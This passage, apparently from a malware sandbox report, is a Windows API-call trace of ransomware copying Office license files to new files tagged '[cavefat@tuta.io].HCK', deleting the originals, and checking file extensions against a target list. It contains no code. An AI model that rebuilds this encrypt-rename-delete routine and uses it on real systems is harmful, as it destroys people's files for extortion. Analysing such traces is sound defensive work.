Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0236.567] GetLastError () returned 0x0 [0236.567] ReadFile (in: hFile=0x554, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1a49, lpOverlapped=0x0) returned 1 [0236.577] WriteFile (in: hFile=0x550, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1a50, lpOverlapped=0x0) returned 1 [0236.578] ReadFile (in: hFile=0x554, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.578] WriteFile (in: hFile=0x550, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x102, lpOverlapped=0x0) returned 1 [0236.578] SetEndOfFile (hFile=0x550) returned 1 [0236.579] CloseHandle (hObject=0x550) returned 1 [0236.579] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.579] SetEndOfFile (hFile=0x554) returned 1 [0236.581] CloseHandle (hObject=0x554) returned 1 [0236.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0236.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.582] lstrlenW (lpString=".doc") returned 4 [0236.582] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString=".docx") returned 5 [0236.582] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.582] lstrlenW (lpString=".pdf") returned 4 [0236.582] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString=".xls") returned 4 [0236.582] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString=".xlsx") returned 5 [0236.582] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.582] lstrlenW (lpString=".ppt") returned 4 [0236.582] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.582] lstrlenW (lpString=".zip") returned 4 [0236.582] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString=".rar") returned 4 [0236.582] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString=".bz2") returned 4 [0236.582] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString=".7z") returned 3 [0236.582] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.582] lstrlenW (lpString=".dbf") returned 4 [0236.582] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.582] lstrlenW (lpString=".1cd") returned 4 [0236.582] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.583] lstrlenW (lpString=".jpg") returned 4 [0236.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.583] lstrlenW (lpString=".doc") returned 4 [0236.583] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString=".docx") returned 5 [0236.583] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.583] lstrlenW (lpString=".pdf") returned 4 [0236.583] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString=".xls") returned 4 [0236.583] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString=".xlsx") returned 5 [0236.583] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.583] lstrlenW (lpString=".ppt") returned 4 [0236.583] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.583] lstrlenW (lpString=".zip") returned 4 [0236.583] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString=".rar") returned 4 [0236.583] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString=".bz2") returned 4 [0236.583] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString=".7z") returned 3 [0236.583] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.583] lstrlenW (lpString=".dbf") returned 4 [0236.583] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.583] lstrlenW (lpString=".1cd") returned 4 [0236.583] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0236.583] lstrlenW (lpString=".jpg") returned 4 [0236.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.583] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.584] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25 [0236.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.592] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4208) returned 1 [0236.592] CloseHandle (hObject=0x544) returned 1 [0236.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0236.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.593] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.593] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0236.593] GetLastError () returned 0x0 [0236.593] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1070, lpOverlapped=0x0) returned 1 [0236.595] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1080, lpOverlapped=0x0) returned 1 [0236.595] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.595] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x106, lpOverlapped=0x0) returned 1 [0236.596] SetEndOfFile (hFile=0x558) returned 1 [0236.596] CloseHandle (hObject=0x558) returned 1 [0236.596] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.596] SetEndOfFile (hFile=0x544) returned 1 [0236.598] CloseHandle (hObject=0x544) returned 1 [0236.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0236.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString=".doc") returned 4 [0236.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString=".docx") returned 5 [0236.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.600] lstrlenW (lpString=".pdf") returned 4 [0236.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString=".xls") returned 4 [0236.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString=".xlsx") returned 5 [0236.600] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.600] lstrlenW (lpString=".ppt") returned 4 [0236.600] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString=".zip") returned 4 [0236.600] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString=".rar") returned 4 [0236.600] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString=".bz2") returned 4 [0236.600] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString=".7z") returned 3 [0236.600] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString=".dbf") returned 4 [0236.600] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString=".1cd") returned 4 [0236.600] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString=".jpg") returned 4 [0236.600] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.600] lstrlenW (lpString=".doc") returned 4 [0236.601] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString=".docx") returned 5 [0236.601] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.601] lstrlenW (lpString=".pdf") returned 4 [0236.601] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString=".xls") returned 4 [0236.601] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString=".xlsx") returned 5 [0236.601] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.601] lstrlenW (lpString=".ppt") returned 4 [0236.601] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.601] lstrlenW (lpString=".zip") returned 4 [0236.601] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString=".rar") returned 4 [0236.601] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString=".bz2") returned 4 [0236.601] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString=".7z") returned 3 [0236.601] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.601] lstrlenW (lpString=".dbf") returned 4 [0236.601] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.601] lstrlenW (lpString=".1cd") returned 4 [0236.601] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0236.601] lstrlenW (lpString=".jpg") returned 4 [0236.601] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.601] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.601] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26 [0236.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.602] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11589) returned 1 [0236.603] CloseHandle (hObject=0x544) returned 1 [0236.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0236.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.603] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.604] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0236.605] GetLastError () returned 0x0 [0236.605] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d45, lpOverlapped=0x0) returned 1 [0236.608] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0236.609] ReadFile (in: hFile=0x544, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.609] WriteFile (in: hFile=0x558, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x108, lpOverlapped=0x0) returned 1 [0236.609] SetEndOfFile (hFile=0x558) returned 1 [0236.610] CloseHandle (hObject=0x558) returned 1 [0236.612] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.612] SetEndOfFile (hFile=0x544) returned 1 [0236.617] CloseHandle (hObject=0x544) returned 1 [0236.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0236.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.624] lstrlenW (lpString=".doc") returned 4 [0236.624] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.624] lstrlenW (lpString=".docx") returned 5 [0236.624] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.624] lstrlenW (lpString=".pdf") returned 4 [0236.624] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.624] lstrlenW (lpString=".xls") returned 4 [0236.624] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.624] lstrlenW (lpString=".xlsx") returned 5 [0236.624] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.624] lstrlenW (lpString=".ppt") returned 4 [0236.624] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.624] lstrlenW (lpString=".zip") returned 4 [0236.624] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.624] lstrlenW (lpString=".rar") returned 4 [0236.625] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".bz2") returned 4 [0236.625] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".7z") returned 3 [0236.625] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".dbf") returned 4 [0236.625] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".1cd") returned 4 [0236.625] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".jpg") returned 4 [0236.625] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".doc") returned 4 [0236.625] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".docx") returned 5 [0236.625] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.625] lstrlenW (lpString=".pdf") returned 4 [0236.625] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".xls") returned 4 [0236.625] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".xlsx") returned 5 [0236.625] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.625] lstrlenW (lpString=".ppt") returned 4 [0236.625] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".zip") returned 4 [0236.625] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".rar") returned 4 [0236.625] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".bz2") returned 4 [0236.625] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString=".7z") returned 3 [0236.625] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".dbf") returned 4 [0236.625] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".1cd") returned 4 [0236.625] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0236.625] lstrlenW (lpString=".jpg") returned 4 [0236.625] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.935] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.936] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27 [0236.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.936] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11574) returned 1 [0236.936] CloseHandle (hObject=0x4ac) returned 1 [0236.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220 [0236.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.947] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.947] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 